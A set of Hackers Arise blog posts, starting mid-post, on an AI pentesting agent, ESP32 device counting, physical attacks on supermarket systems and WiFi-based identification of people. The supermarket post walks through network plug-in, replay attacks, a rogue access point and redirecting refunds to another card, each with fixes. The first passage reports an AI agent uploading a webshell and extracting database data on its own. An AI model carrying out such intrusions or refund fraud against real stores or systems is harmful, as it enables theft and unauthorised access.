It pulled it off using the Impacket. Keep in mind, using Impacket won’t always work against a protected endpoint, so it’s important to spell out clearly how you want the pentest to be done. If you are running this against a live target, put real guardrails in place and give the tool much more detailed prompts so it does not wander somewhere it shouldn’t.

Finally, we get to the tedious part of a pentest. It’s writing up the report. You can do it in different formats using /report.

kali > sudo apt install glow
kali > glow report.md

Web Pentesting and Bug Bounty Hunting

Web pentesting is such a massive topic on its own that plenty of people end up specializing in just one or two attacks testing them across different targets. PentestCode can be used here too, once you give it a good starting point through solid reconnaissance. You can toggle between modes using Tab, switching back and forth between Recon and Pentest.

We intentionally kept our prompt vague, just to see how creative the tool would get on its own and pointed it at a website. Within 15 minutes, it mapped out every subdomain tied to that company and tested the infrastructure behind each one.

The goal was to get an RCE. We didn’t expect much to come of it, but it managed to do it.

PentestCode uploaded a webshell and used curl to do recon on the internal network from there. On top of that, it compromised both a mail account and a MySQL database. The admin panel was also exploited with a CSRF vulnerability. Pretty impressive stuff, honestly.

The tool comes in handy during post exploitation as well. In our test, it exploited a vulnerability in PostgreSQL and escalated its way up to superuser access, then went through the databases and pulled out some interesting data. You can see some of it below.

Summary

If you decide to test PentestCode yourself, make sure you steer clear of vague prompts and set clear boundaries so that it doesn’t go further than it should. Use /pause to choose a mode where it stops and waits for your approval before moving forward. We believe that it’s important to keep a human in the loop in cybersecurity work like this. 

We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have. There’s no reason to resist AI. It’s a tool to master.

The post Artificial Intelligence (AI) in Cybersecurity, Part 23: Using PentestCode for Pentesting and Bug Bounty Hunting first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Lately, we’ve covered several tools you can use with your laptop to track nearby devices and people. While they’re useful, their effectiveness depends on the strength of your Bluetooth adapter, and, of course, you need to have your laptop with you.

This time, we’re doing things differently. We want to show you a device that can automatically monitor nearby devices for extended periods, anywhere you choose to place it, and as often as you want. It doesn’t rely solely on Bluetooth, as it also uses Wi-Fi, which is far more likely to be enabled, increasing the chances of detecting someone in your area.

What is Paxcounter

Paxcounter is an open-source firmware project that takes a cheap little ESP32 development board and turns it into a sensor that can count people. Almost every smartphone in the world is constantly sending out small Wi-Fi signals, called probe requests, and Bluetooth signals too, even when the phone is not connected to anything. Paxcounter listens for these signals in the air. It counts how many different devices it hears during each scan, and from that, it can tell you a real time estimate of how many people are nearby.

The project started out as a simple way to measure how many passengers or pedestrians pass through a certain spot. But over time, it grew into something much bigger. Now it works as a general purpose IoT platform, built on hardware that usually costs somewhere between $10 and $30. Besides its main job of counting Wi-Fi and Bluetooth devices, a Paxcounter can also read environmental sensors, track its GPS position, keep accurate time, and send all of that data out through LoRaWAN, MQTT, a local serial connection, or straight onto an SD card. 

How the Counting Works

The way Paxcounter counts people is simple, but it was clearly built with privacy in mind from the very start. Every scan cycle, which lasts 60 seconds by default, the device switches its Wi-Fi and Bluetooth radios into scanning mode and listens for probe requests and advertisement packets coming from nearby devices. Each of these packets carries a MAC address. Paxcounter takes just the last two bytes of that address and turns them into a short, temporary ID. This ID is only used to check for duplicates during that one scan cycle. Once the cycle ends, the count of unique IDs gets sent out, and the whole list is wiped from memory. The firmware also does not try to fingerprint any device. It never tries to figure out a phone’s brand, its operating system, or who owns it. All it wants to know is whether that device has already been counted in the current window.

This scan and clear cycle just keeps repeating, either nonstop or on a schedule if deep sleep power saving is turned on. The results, which include the Wi-Fi count, the Bluetooth count, and sometimes live sensor readings too, get packed into a small payload and sent out through whatever channel the device is set up to use. One thing worth knowing is that Wi-Fi and Bluetooth scanning actually share the same 2.4 GHz radio hardware on the ESP32. So running both scans at the same time slightly lowers the accuracy of each one. Because of that, the project’s own advice is to split Wi-Fi only counting and Bluetooth only counting across two separate devices whenever the best possible accuracy is needed for both.

One Firmware, Many Boards

Paxcounter comes with a hardware abstraction layer and its own pin mapping files for dozens of ESP32 and ESP32-S3 boards. These come from well known manufacturers like LILYGO and TTGO, Heltec, Pycom, WeMos, M5Stack, and Adafruit, and there is also a generic template ready for boards that are not officially supported yet. LILYGO even sells a ready-made board called Paxcounter LoRa, built specifically to run this firmware. 

Depending on which board you pick, your device can end up supporting a LoRaWAN radio for sending data over long distances while using very little power, an OLED status screen, or a single color, RGB, or larger LED matrix light to show status. It can also support a physical button for flipping through display pages or sending an alarm message, battery voltage monitoring, GPS positioning, a real time clock chip along with IF482 or DCF77 time telegram output, and even an SD card slot for logging data locally when there is no network around.

Because the whole system was designed to be truly portable, the documentation goes into real detail about power draw, which usually sits somewhere between 450 and 1000 milliwatts depending on how the device is set up. It also makes good use of the ESP32’s deep sleep mode, so a device can keep running for a long stretch of time on just one 18650 lithium ion battery cell. Members of the community have already shared several 3D printable enclosure designs on Thingiverse for the more popular boards.

Getting the Device Up and Running

Paxcounter is built using PlatformIO instead of the plain Arduino IDE. This choice lets it work smoothly with editors like Visual Studio Code, Atom, or Eclipse, and it gives the project reproducible, script driven builds. In fact, the repository runs an automated PlatformIO build check every single time the code changes, using GitHub Actions, and there is even a CodeFactor badge that keeps an eye on ongoing code quality.

The configuration is intentionally spread across a handful of different files instead of being crammed into just one. This keeps board specific settings, behavioral settings, and personal settings nicely separated from each other. The platformio.ini file is where you select which board’s hardware profile you want to compile against. The paxcounter.conf file handles behavioral settings, things like how long a scan cycle lasts, sleep timing, and payload options. The shared lmic_config.h file sets the LoRaWAN region and frequency plan, so it matches the rules where you live. The shared loraconf.h file holds the device’s LoRaWAN join credentials, and the project recommends using OTAA rather than ABP for this. And the shared ota.conf file stores the Wi-Fi credentials the device uses for over the air firmware updates.

You can upload firmware the traditional way, over USB, or once a device has joined a LoRaWAN network, you can push updates over the air instead. A remote command tells the board to connect to Wi-Fi, check a hosted repository called PAX.express for a newer build, and then download and flash it automatically. If anything goes wrong during that process, it will roll back to the previous version on its own. Devices can also be set up to open a small local web based bootstrap menu right when they power on, which lets you upload a firmware file manually, even from a phone in tethering mode, without needing PlatformIO installed on site.

Configuration and Extensibility

Beyond just picking a board, Paxcounter gives you a long list of settings you can tune to fit your needs. It can log environmental data from sensors like the Bosch BMP180, BME280, BMP280, or BME680, read a Nova SDS011 particulate matter sensor to track dust in the air, and keep accurate time using either a DS3231 real time clock or a connected GPS module. 

Display and LED

On boards that come with an OLED display, Paxcounter shows live status information you can cycle through with a short press of the button. This includes the current pax count, meaning the people count, a histogram of recent activity, GPS status, environmental sensor readings, and the time of day. 

A long press of that same button sends an alarm message out over the network instead, which is a simple way to flag a problem from out in the field without needing any other kind of interface. Even on boards that do not have a display at all, a status LED still tells you what the device is doing through its blink pattern. You get a brief flash whenever a new Wi-Fi or Bluetooth device is spotted, a quick blink while the device is joining the LoRaWAN network, a short blink during data transmission, and a slow, long blink if there is a LoRaWAN stack error. Boards that have an RGB LED get a color coded version of these same signals.

How You Receive the Data

Once a Paxcounter has counted the people nearby and packed everything into a message, that data has to go somewhere so you can actually see it. How that happens depends on which output the device is using, and the good news is you can turn on more than one at the same time. If you are using LoRaWAN, which is the most common setup, the device does not send the data straight to you. Instead, a nearby LoRaWAN gateway picks up the signal first and forwards it on to a network server, usually The Things Stack. There is a small decoder script included with the project, and its job is to take that raw message and turn it into numbers you can actually read, something like a pax count of 14. From there, The Things Stack can pass the data along to your own app or dashboard using MQTT or a webhook, or you can simply watch it come in live through the built in console.

If a board does not have LoRa hardware built in, it can just skip the gateway completely and send that same kind of data straight to an MQTT service over Wi-Fi instead. You can also connect the device to a computer using a USB cable and read the numbers directly from a serial connection. This is a simple way to test things out without needing to set up a network at all. If SD card logging is turned on, everything also gets saved locally as a CSV file, so you can pull the card out later and open it up in a spreadsheet. This comes in handy in places where there is no network coverage to rely on. 

Where It’s Used

Because a single Paxcounter device is cheap to build and can be left running unattended for a long time, you will find it popping up in a pretty wide range of places. Retailers and shopping centers use it to measure foot traffic without needing to install cameras. Event organizers use it to watch how crowds move around a venue in real time. Pentesters can get a passive read on how many Wi-Fi and Bluetooth devices are active in a building, or to notice unexpected devices showing up where they shouldn’t, all without needing camera access or network credentials.

Legal and Privacy Considerations

Since Paxcounter’s whole job involves listening to wireless traffic, its documentation is unusually upfront about the legal side of things. It points out that sniffing Wi-Fi and Bluetooth MAC addresses may be regulated or restricted depending on where you live, and it links to specific starting references for the US, the UK, the Netherlands and the EU, and Germany. It also makes clear that the legal responsibility for how a device is built and deployed falls on the person doing it, especially for public deployments where the results might get published somewhere. On the technical side of privacy, the project’s own design actually holds up pretty well against that legal backdrop. Identifiers are only ever built from the last two bytes of a scanned MAC address, they are kept in memory just for the length of one scan cycle, and then they are discarded completely. No MAC addresses or identifiers are ever sent out over the network, and the firmware does not do any extra tracking or fingerprinting of the devices it scans.

Summary

What really makes Paxcounter stand out is not any single feature on its own. It is the whole combination working together. One piece of open source firmware supports dozens of cheap boards, runs for a long time on a small battery, counts people without saving anything identifying about them, doubles as a general environmental sensor node, speaks LoRaWAN, MQTT, serial, and SD card all at once, and can be fully reconfigured from a distance once it is out in the field. The full source code, the complete board list, and all the documentation are available on GitHub.

If you enjoy experimenting with frequencies and trying new things, we recommend signing up for our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post SDR (Signals Intelligence) for Hackers: Tracking People with ESP32-Paxcounter first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Let’s talk about something most people never think about. When the news reports on a cyberattack against a big retail chain, the story usually sounds the same. A database got leaked or ransomware locked up the company’s files. These are real threats, and they deserve attention. But what happens if a hacker skips all of that and simply walks into a physical store with a laptop tucked in a backpack? No malware sent through email and no phishing link, just being there physically.

In this article, we are going to build a picture, drawn from several real walkthroughs of ordinary retail stores, all pointed toward one goal. We want to see the store the way a pentester sees it.

A Hacker in the Supermarket

Imagine someone stepping through the front doors with that mindset. Within a few minutes of walking the floor, a handful of things stand out.

There are the transformer checkout terminals and the self service kiosks, the modern face of retail, and also a possible weak point. There are staff call buttons mounted near the aisles, small radio transmitters that broadcast a fixed code each time someone presses them, a code that could potentially be captured and played back later. There are wireless DECT handsets still in use on some sales floors, the same cordless phone technology many offices have relied on for years. There are data collection terminals, plain Android devices that sometimes carry no password protection at all, with access to the store’s Wi-Fi settings. And running along the floor and behind the counters, there are network cables, which in the wrong circumstances could let anyone plug in and reach the store’s internal network.

Day 1 – Becoming an Insider

Many corporations believe their internal network is sealed off from the outside world, safe behind firewalls and passwords. That sense of safety can end at the first unlabeled cable lying loose on the floor.

Someone can walk up to a transformer checkout terminal,  unplug its network cable, plug in a laptop instead (or better yet, one of those devices we showed in previous articles), and type a simple command.

kali > sudo dhclient

That laptop could be handed an IP address from the store’s own internal network. If the network uses a /27 mask, that means an entire segment of the corporate infrastructure could open up right there.

Scanning the network might take only a couple more minutes, and inside, a hacker could find exactly what you would expect from a typical store. There could be the store manager’s workstation, with an open RDP port for remote access. There could be a Wi-Fi router still running its factory default settings. There could be a DECT base station handling internal telephony. There could be surveillance cameras, other registers and terminals, and tucked away in shared folders and configuration files, credentials and passwords saved in plaintext.

From there, someone could try connecting to the manager’s computer. If the RDP client offers a choice of accounts, and one of those accounts, say one named operator, needs no password at all, that should raise a flag. Normally Windows blocks RDP logins for accounts with blank passwords, so a setup like that means someone deliberately switched that protection off, likely to keep an easy access route open for themselves. Sysadmins often do it. But that’s a backdoor. We often see the same issue with VNC. That route could lead to the remote desktop of an employee with access to corporate email, internal messenger conversations, financial documents, work schedules, and delivery data.

And since Chrome is installed on nearly every computer in sight, opening Passwords could show saved logins for internal services, everything from the CRM system to the warehouse management software, sitting there in plain view.

How to Fix It

Passwordless accounts feel almost like a relic from an earlier era, yet they still turn up in retail environments from time to time. Alongside them, flat, unsegmented networks are common, where cameras, workstations, and Wi-Fi routers all sit together on the same segment. Add to that the simple physical accessibility of the equipment. Network cables, ports, and switches are often placed exactly where any employee, or any visitor, could reach them without much trouble.

Segment the network properly, giving separate VLANs to registers, service equipment, and employee workstations, so a breach in one area does not open a door to everything else. Restrict which devices are even allowed to connect through RDP in the first place. Turn on MAC address whitelisting along with Port Security, so an unknown device cannot simply be plugged into an open port and join the network. Require real passwords on every local account, without exception. Disable browser based password storage for anything tied to internal systems.

And finally, ask security staff to keep a closer eye on the registers themselves.

Day 2 – Telephone Game

Consider a small, easy to overlook detail, a staff call button tucked into a corner near an aisle. Pressed once, it sends a chime ringing across the store, and a salesperson comes over a moment later. Simple enough, on the surface.

Except with a HackRF One someone could intercept and record the exact signal the button sends the moment it is pressed. If that button broadcasts the same static signal every time, with no protection against replay, then anyone who plays that recorded signal back over the air could trigger the same chime, without ever touching the actual button. This is what we call a replay attack, and it remains a real possibility even now.

Once that chime lives on someone’s laptop, a single click could ring it out across the entire store. Employees might rush toward the sound, leaving a register briefly unattended, while someone else nearby has a short window to act.

The same HackRF One, paired with an open source tool called gr dect2, could also be used to listen to the surrounding airwaves. If a store still relies on wireless DECT handsets for internal communication, a call placed from one handset to another could, in principle, be intercepted and decrypted in real time as it travels through the air. From that point, anyone listening could pick up delivery schedules, work rosters, and conversations about register problems, all carried over employees’ DECT handsets.

Older pentest reports sometimes describe this kind of attack as only medium risk, mostly because of the cost of the equipment and the technical skill it supposedly requires. It’s different now. An original HackRF One costs somewhere around three hundred dollars, and less expensive clones can be found on online marketplaces for a fraction of that price. And gr dect2 makes the whole process more accessible, since it is an openly documented, freely available project.

How to Fix It

The fixes here lean more organizational than technical. It makes sense to retire primitive call buttons in favor of systems that use dynamic, constantly changing codes instead of a single static signal. Alongside that, replacing outdated DECT telephony with modern VoIP or straightforward wired communication removes much of this risk entirely.

Day 3 – Corporate Wi-Fi

What about the Wi-Fi? On paper, it can look genuinely solid, not a simple router with a shared password, but full WPA-Enterprise authentication requiring a proper login and password from each user. That sounds like a real obstacle, and in many ways it is. But it does not fully close the door. Someone could set up a rogue access point using the exact same network name as the legitimate one. If an employee’s device, whether a work tablet or a personal smartphone, tries to reconnect automatically, it might see two access points broadcasting the identical name and simply pick whichever one offers the stronger signal and the faster response. A rogue access point built for this purpose could easily be tuned to answer faster than the real one. Once a device connects to that convincing twin, it attempts to authenticate as usual, and in doing so, it sends its credentials straight into someone else’s logs.

How to Fix It

Setting up EAP TLS with proper certificate validation on every client device helps ensure a fake network cannot simply mimic its way into a successful login. Monitoring the surrounding radio spectrum regularly is also worthwhile. Even simple, freely available tools can detect unauthorized access points broadcasting names that match or closely resemble the real corporate network. And training staff matters. If a Wi-Fi password is unexpectedly requested a second time, or a connection seems to take suspiciously long, employees should feel comfortable reporting it to security or the IT security team right away.

Day 4 – Transformer Register and Cash Drawer

A transformer register is really a combined hardware and software unit, built around a metal cash drawer, both stationary and handheld barcode scanners, and a receipt printer. Along its bottom panel often sits a row of unprotected USB ports. Plugging in an ordinary keyboard there opens the door to some experimentation.

Pressing Ctrl Alt and one of the function keys from F1 through F5 can switch the screen to a text console, prompting for a login and password. Full system access could sit right there within reach. Even if the Alt F2 shortcut for quickly launching commands has been disabled, the multi user Linux console underneath may remain fully accessible regardless.

Power cycling the device and pressing Delete could open the BIOS. Without a boot password protecting it, the machine could be booted from an outside USB drive, handing over full control of the system, along with the ability to change settings or install unwanted software.

The most interesting risk, though, waits underneath the register itself. The metal cash drawer typically has a mechanical emergency release button on its underside. If the drawer has not been locked with a physical key, which happens more often than store staff would like to admit, then any customer could simply lean down, press that button, and slide the cash right out.

No discussion of registers is complete without mentioning their close relatives, the self checkout kiosks. These are essentially the same transformer registers, just packaged in a form factor that happens to be even more exposed. USB ports, network ports, and power ports often sit within easy reach. The real difference is that a transformer register might occasionally be watched by a nearby salesperson, while a self checkout kiosk usually sits alone in a corner, without much oversight at all.

Standing casually near a kiosk for just a few minutes could be enough to observe an employee entering their access code. From there, that access could open up the kiosk’s full functionality, including the ability to ring up items, process returns, and open that same metal cash drawer hiding underneath.

How to Fix It

The solution here is fairly clear once the problem is understood. Restricting physical access to the register hardware itself, through USB port blockers, closed enclosures, and sealed covers, prevents outside devices from being connected in the first place. A BIOS password combined with disabling boot from removable media protects against attempts to seize control of the system through a flash drive.

Employee authorization deserves attention too. Since the register already comes equipped with a barcode scanner, a smart approach is issuing personal ID badges with the employee’s password encoded directly into the barcode. The employee scans their badge, the system authenticates them instantly, and the actual password stays hidden from anyone watching nearby. Leaving the alphanumeric combination off the badge entirely prevents it from being typed in manually as a way to bypass the scanner.

And of course, the lock on the cash drawer matters. If it is even possible to leave that drawer unlocked, sooner or later it probably will be. Drawers that lock automatically, without relying on a person remembering to do it, offer a much more reliable solution.

Day 5 – Refund

Consider someone playing the role of an ordinary, everyday customer. They buy a small item in the store, pay with a card, and walk away with a receipt like anyone else. Once a self checkout kiosk sits idle for a moment, tapping the top left corner of the screen could open a hidden staff menu.

The system would ask for authorization. If someone types in a password they had observed a cashier enter earlier, often a simple employee ID number, that alone could be enough to land inside the cashier menu. 

From there, selecting a refund by sales receipt option could display a list of recent transactions, including the very purchase just made. A further step worth testing is whether the refund could be redirected, not back to the same card used to pay, but to a completely different one, belonging to someone else entirely. You might expect the terminal to block an operation like that, or at least demand confirmation from a senior employee before proceeding. In some systems, neither of those things happens, and an ordinary cashier’s password turns out to be enough to redirect the funds elsewhere.

To its credit, a system like this may honestly display a warning that the money will be sent to a different card than the one used for payment. But it can carry out the operation anyway, without further checks.

The item would stay with the customer, the original purchase would turn into a refund on paper, and the store’s money would end up in someone else’s account. One more detail worth checking is whether the refund function has any built in time limits. Many places only allow refunds within a set window, say fourteen days, in line with consumer protection law. But in some systems, attempting to process a refund for a purchase made several months earlier goes through without any resistance at all.

This points to a deeper gap in business logic and access control. The authorization threshold can sit far too low, since a rank and file salesperson’s password may be enough to trigger a real financial operation, and that password is often easy to observe over someone’s shoulder. There may be no check to confirm the refund card actually matches the original payment card. A refund landing on a different card is not automatically suspicious on its own, since many banks and retail chains support this for customer convenience. But operations like that should require sign off from the store manager, a financially liable employee, or someone else holding proper authority. And finally, there may be no meaningful time or amount limits at all, meaning refunds could remain possible over an unlimited stretch of time, and theoretically for an unlimited amount, up to whatever balance the register happens to hold.

How to Fix It

Two tier authorization is genuinely useful here, paired with a strict time window governing refunds. Automatic refunds could be limited to the last fourteen days, with anything older switching over to manual processing, complete with multi level review and documented sign off.

Tying the refund card to the original payment card by default, as a standing rule, closes much of this gap. Cash refunds, or refunds sent to a different card, should remain the exception rather than the norm, strictly regulated and logged separately from everything else.

A dedicated audit log for every refund operation, tied clearly to the cashier’s ID, the receipt number, and the recipient card, makes it possible to review the whole trail later if something looks off.

Summary

Nothing here requires exotic tools or rare expertise. The overall picture is worth taking seriously, because a store is never just a building full of shelves and registers. It functions as a branch of the corporate infrastructure itself, a set of trusted interfaces placed out into public space, right in front of every customer who walks through the door.

But these small, easy to overlook pieces can chain together. Network access can lead to credentials, credentials can lead to internal systems, internal systems can lead to operational data, and operational data can eventually lead to real financial consequences. A useful security assessment in an environment like this does not simply end with a recommendation to close a port and set a stronger password. It ends with a more useful question worth asking. Who decided, at some point along the way, that all of these things should sit within the customer’s reach in the first place?

If you enjoy hacking and would like to get started in cybersecurity, we have created the Cybersecurity Starter Bundle II to equip you with the knowledge and skills needed to begin your journey. If you want to advance your skills even further, our Cyberwarrior Path is made to help you delve deeply into the technology and show you how to break it

The post Pentesting: Hacking the Supermarket first appeared on Hackers Arise.

Welcome back, aspiring hackers!

The density of WiFi access points in modern cities has now reached a point where a large-scale surveillance system may be able to identify almost anyone who walks near a router, even if that person is not carrying a mobile phone. Researchers from the Karlsruhe Institute of Technology (KIT) have published a scientific paper describing this kind of system and the technology that makes it possible.

At the center of this surveillance method is a feature called beamforming, which first appeared with the WiFi 5 (802.11ac) standard in 2013–2014. The basic idea was introduced with WiFi 5, but it became much more refined and effective with WiFi 6 (802.11ax), where the technology matured into something more practical.

Beamforming

Beamforming, also called spatial filtering, is a signal processing technique used to send and receive wireless signals in specific directions rather than spreading them evenly in every direction. In simple marketing language, this is often described as a router that “does not broadcast equally everywhere anymore, but instead follows the user with a focused beam.” That description is not wrong, but it leaves out the technical depth behind the idea.

From an engineering point of view, beamforming works by combining several antennas into a group called an array. When the signals from these antennas are timed and lined up correctly, they boost each other in certain directions. In other directions, they cancel each other out. The result is a signal that is far more focused and efficient than older systems, which simply broadcast outward in every direction at once.

Beamforming gives both senders and receivers the ability to focus on signals coming from one direction while blocking out noise from others. Because of that, the technique is used not only in WiFi, but also in radar, sonar, seismology, wireless communications, radio astronomy, acoustics, and biomedical engineering.

Identifying People Through WiFi Signals

As radio waves move through space, they do not simply travel in a straight, clean line. They interact with the world around them in many different ways. They can pass through objects, reflect off surfaces, become absorbed, become polarized, bend around obstacles, scatter in different directions, or refract as they cross boundaries between materials. This means that when a WiFi system sends a signal and later receives it back, the final result contains information about everything the signal encountered along the way. By comparing the expected signal with the received one, it becomes possible to measure interference and use that information to correct transmission errors. But that same interference also reveals details about the environment itself.

For example, when a person enters the path of a WiFi signal, the signal changes. Human bodies affect radio waves in measurable ways. The signal may weaken, shift, scatter, or behave differently depending on movement, posture, and position. If researchers analyze these changes carefully, they can infer a surprising amount of information about the surrounding environment. They may detect whether people are present, what they are doing, and in some cases even who they are.

This whole research area has grown into a separate field known as WiFi Sensing.

Most WiFi Sensing research is presented as useful and harmless, and in many cases it really is. It can support smart-home features, occupancy detection and other practical applications. But the privacy concerns are obvious. When these methods are combined with activity recognition and the massive spread of WiFi hotspots, they can reveal highly sensitive information. One of the most troubling possibilities is that someone could be identified in the range of a hotspot and then tracked over time without ever knowing it.

Using Channel Information for Identification

There are several ways a person can be identified through WiFi. One important method relies on analysis of Channel State Information (CSI), which is sent at the physical layer of WiFi communication. CSI is detailed and useful for WiFi sensing. It gives a rich picture of how the wireless channel behaves. The problem is that CSI is not always easy to access. In many cases, it requires modified firmware and specialized hardware support, which limits how widely it can be used in practice.

The table above compares roughly 25 different systems, evaluating them across several key dimensions. The Paper column lists the name of each system, while the Identities column shows how many different people each system is capable of distinguishing between. The Accuracy column then reflects how reliably each system correctly identifies a person. On the technical side, the Pre-Processing column describes the signal processing techniques each system applies to clean and transform raw WiFi data before passing it to a machine learning model, and the Model Architecture column identifies what type of model is used. The Perspective column shows how subjects were positioned or moving during data collection, such as standing orthogonally, performing gestures, or typing keystrokes.

Beamforming entered the picture for a different reason. As mentioned earlier, it was introduced in WiFi 5 to improve throughput and make wireless communication more efficient. But beamforming also depends on environmental information that is similar to CSI. The difference is that this information is gathered on the transmitter side rather than the receiver side.

The key new dimensions here are the Inference column, showing the wide variety of tasks these systems tackle, from respiratory rate monitoring and crowd counting to sign language recognition.

In a typical beamforming setup, client devices send something called Beamforming Feedback Information (BFI) back to the access point. BFI is a condensed snapshot of current signal conditions. It tells the access point how the wireless channel looks so that it can adjust its transmission for better performance.

The key difference between CSI and BFI is that BFI is transmitted back to the access point without encryption. This makes it much easier to collect using standard, off-the-shelf hardware, without needing any special software modifications. That significantly lowers the bar for potential misuse. The privacy concern gets even more serious when you consider that the IEEE is already working on making WiFi sensing an official standard through the upcoming 802.11bf update and based on the current draft, without putting strong privacy protections in place.

KIT Researchers Demonstrate Phone-Free Identification

Researchers at KIT showed that people can be identified using only BFI data, even when they are not carrying a smartphone or any other wireless device. The method does not depend on a person bringing along a tracked gadget. It works using ordinary WiFi devices already present in the environment and already communicating with one another.

As radio waves move through space and interact with the human body, they create patterns that can be captured, analyzed, and compared. In that sense, the process starts to resemble imaging, almost as if the wireless system were building a rough picture of a scene without using a camera. The result is not a photograph in the normal sense, but the data can carry enough structure to support identity inference.

WiFi Routers as Silent Observers

“The technology turns every router into a potential surveillance device,” says Julian Todt, one of the study’s authors. “If you regularly walk past a café that has a WiFi network, you could be identified without your knowledge and later recognized by government agencies or commercial companies.”

That is a serious warning, and it captures the core concern very well. Intelligence services and cybercriminals already have many easier ways to monitor people, including compromising CCTV systems or intercepting video communications. But wireless networks are different. They create a nearly invisible surveillance layer that already exists in a huge number of places.

Unlike earlier approaches that depended on LiDAR sensors or on reflection-based systems using walls, furniture, and human bodies, this method works with standard WiFi equipment. By collecting BFI data, researchers can build representations of people from several different viewing angles. These representations are then used to distinguish one person from another, even when the number of people is large. Once the machine learning model has been trained, the identification process can happen in just a few seconds.

Experimental Results

The study involved 197 participants. The researchers reported that they were able to identify individuals with nearly 100% accuracy, regardless of viewing angle or walking style. That is an impressive result, but it did not come easily. To reach that level of accuracy, the model needed a substantial amount of machine learning training. Each person in the training set performed around 20 walking passes before the model was trained.

During the research two TP-Link Archer BE800 routers were used. The experiment relied on channels 37 and 85. It also used two non-overlapping 160 MHz channels in the 6 GHz band available under WiFi 6E. The hardware included Intel AX210 WiFi network adapters.

The researchers stress that the technology is powerful, but also potentially dangerous. The risks are especially serious in authoritarian states, where systems like this could be used for large-scale population surveillance. In such settings, the ability to identify people without their phones, without cameras and without obvious visible monitoring would be a major privacy threat.

For that reason, the authors strongly recommend that privacy protections and security safeguards be built into the upcoming IEEE 802.11bf standard from the start, rather than added later as an afterthought.

WiFi 6 Routers as Motion Sensors

In fact, WiFi-based sensing has become so effective that some modern routers already include motion-detection features right out of the box, and manufacturers openly advertise them.

Features such as WiFi Motion Detection allow homeowners to monitor activity inside their homes through mobile apps, using nothing more than changes in WiFi signal patterns.

A feature designed for convenience in a home can also become part of a much broader surveillance system when deployed at scale.

Related WiFi and Bluetooth Scanning Tools

As an additional note, several tools already exist that monitor wireless activity in nearby environments. They don’t work exactly the same way as the techniques we covered earlier, but they’re still useful.

Pi.Alert scans devices connected to a WiFi network, detects unknown devices, and sends notifications when devices unexpectedly disconnect from the network. It is often used as a practical awareness tool for keeping track of what is present on a home or local network.

WireTapper discovers nearby wireless signals, including WiFi networks, Bluetooth devices, hidden cameras, vehicles, headphones, televisions, and cellular towers. It gives the user a broader view of the wireless environment around them, which can be useful for awareness and inspection.

Video

We also have an video on this topic with Master OTW and Yaniv Hoffman. In the video, OTW explains how hackers can use SDR, AI, and Wi-Fi signals to detect human movement through walls, how the technology works, and talk about practical ways to defend against it. Feel free to check it out.

Summary

As modern routers gain advanced sensing, they can also become tools for observing and identifying people through the way their bodies interact with wireless signals. The KIT research shows that this is a practical technology that can identify individuals with remarkable accuracy using ordinary WiFi hardware. Although WiFi sensing can be valuable for smart homes and automation, it also raises serious privacy concerns. Privacy protections will need to become just as important as performance improvements.

If you’re interested in Wi-Fi security, our Wi-Fi Hacking training can help you gain the necessary experience. This attack vector is often underestimated, and many organizations are vulnerable to it. It is definitely valuable in penetration testing.

The post Wi-Fi Hacking: Wi-Fi Can Now Identify You Without Your Phone first appeared on Hackers Arise.